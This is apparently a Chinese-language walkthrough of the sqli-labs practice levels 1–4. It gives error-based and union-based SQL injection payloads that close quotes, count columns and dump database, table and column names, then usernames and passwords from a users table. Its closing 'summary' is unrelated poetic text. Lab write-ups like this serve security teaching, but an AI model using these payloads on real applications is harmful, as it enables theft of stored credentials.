文章目录
- 一、Less-1
- 二、Less-2
- 三、Less-3
- 四、Less-4
- 总结
一、Less-1
http://sqli:8080/Less-1/?id=1
在第一关我们可以尝试增加一个单引号进行尝试
http://sqli:8080/Less-1/?id=1'
错误显示如下:
near ''1'' LIMIT 0,1' at line 1
推测语法的结构
select *from where *** id=' 'id' limit 0,1'
上述错误中我们可以推测由于增加了1’
导致语法变成'1'' limit 0,1
,是由于多加了一个'
造成的后果。
下面是尝试解决的方法
尝试' or 1=1--+
把但单引号给闭合
此时的语句构成如下代码段:
selecr ***from ** where id= '1' or 1=1--+ ' limit 0,1
接下来:
通过order by
来查看有几列数据,当尝试到 order by 4
时出现报错猜测只有三列数据。
为什么造成sql注入分析,由于对单引号闭合后,使用了 or 1=1永真。
接下来:采用联合union 把两个多个sql语句连接起来。
http://sqli:8080/Less-1/?id=-1' union select 1,2--+
(当id=-1时,前一个内容为空从而执行后面的语句),从而构造了union语句
下面进行爆数据库:
select 1,2,group_concat(schema_name) from information_schema.schemata--+;
爆security的表:
-1'union select 1,2,group_concat( table_name) from information_schema.tables where
table_schema='security'--+
爆users表中的列
-1'union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='users'--+
爆数据:
?id=-1'union select 1,username,password from users where id=1--+
二、Less-2
根据报错信息推测开发者使用的语句是:
select *from table where=(使用的是整数)--+
可成功注入的有:
or 1=1--+
or 1=1--+
三、Less-3
根据报错信息提示开发者使用的语句是:
select * from table where id=('out input here')--+
可成功注入的有:
') or '1'=('1
') or 1=1--+
四、Less-4
根据报错信息我们推测sql的语句:
select * from table where=("$id")--+
可成功注入的有:
") or "1"=("1
") or 1=1--+
总结
离别总是不经意间,还没来得及告别就已不见,不舍的心情难以言表,相见与分离是现实却如梦,我已傻傻分不清二者。
逍遥游;尧让天下于许由,肩吾问于连叔曰,送人资章甫而适,惠子问庄子曰